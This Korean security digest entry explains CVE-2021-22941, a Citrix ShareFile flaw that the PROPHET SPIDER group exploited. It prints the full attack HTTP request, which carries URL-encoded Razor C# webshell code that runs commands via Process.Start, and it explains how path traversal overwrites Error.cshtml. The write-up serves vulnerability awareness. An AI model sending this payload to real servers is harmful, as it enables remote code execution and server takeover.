[하루한줄] CVE-2021-22941: Citrix ShareFile RCE Webshell

URL

PROPHET SPIDER Exploits Citrix ShareFile Remote Code Execution Vulnerability CVE-2021-22941 to Deliver Webshell

Target

Citrix ShareFile storage zones controller < 5.11.20

Explain

PROPHET SPIDER라는 이름으로 알려진 해커 그룹이 Microsoft Internet Information Service (IIS) 웹서버를 공격하기 위해 사용한 취약점 CVE-2021-22941의 상세 정보가 공개되었습니다.

Citrix ShareFile의 부적절한 접근제어로 인해 해커는 원격 서버에 http request를 보내는 것으로 임의 파일을 원하는 내용으로 덮어 쓸 수 있습니다. 이를 악용하면 타겟 서버에서 임의 코드 실행을 할 수 있습니다.

POST /upload.aspx?uploadid=%40using+System.Diagnostics%3B%40%7Bint+idx0%3D+0%3Bstring+str_idx0+%3D+idx0.ToString%28%29%3B+int+idx1+%3D+1%3Bstring+str_idx1+%3D+idx1.ToString%28%29%3Bstring+cmd+%3D+Request.QueryString%5Bstr_idx0%5D%3Bstring+arg+%3D+Request.QueryString%5Bstr_idx1%5D%3BProcess.Start%28cmd%2Carg%29%3B%7D%2F..%2F..%2FConfigService%5CViews%5CShared%5CError.cshtml&bp=123&accountid=123

위는 Citirx ShareFile의 취약점을 트리거해서 webshell을 업로드하는 http request입니다. 해당 http request는 아래 3가지 핵심요소가 있습니다.

  • uploadid

    /upload.aspx URI는 ShareFile 업로드에 사용되며 일반적으로 uploadid라는 파라미터로 업로드 대상을 명시합니다. 위 http request의 경우에는 해당 파라미터에 webshell이 포함되어있습니다.

  • Razor syntax(@<>, @{})

    Razor syntax (@{})를 사용해 C# 코드블록을 사용할 수 있습니다. 위 http request의 경우에는 C# 코드블록에 Process.Start(cmd,arg);를 포함해 백도어를 제공합니다.

  • path traversal

    path traversal 취약점이 있어 Error.cshtml 파일을 payload로 덮어 쓸 수 있습니다.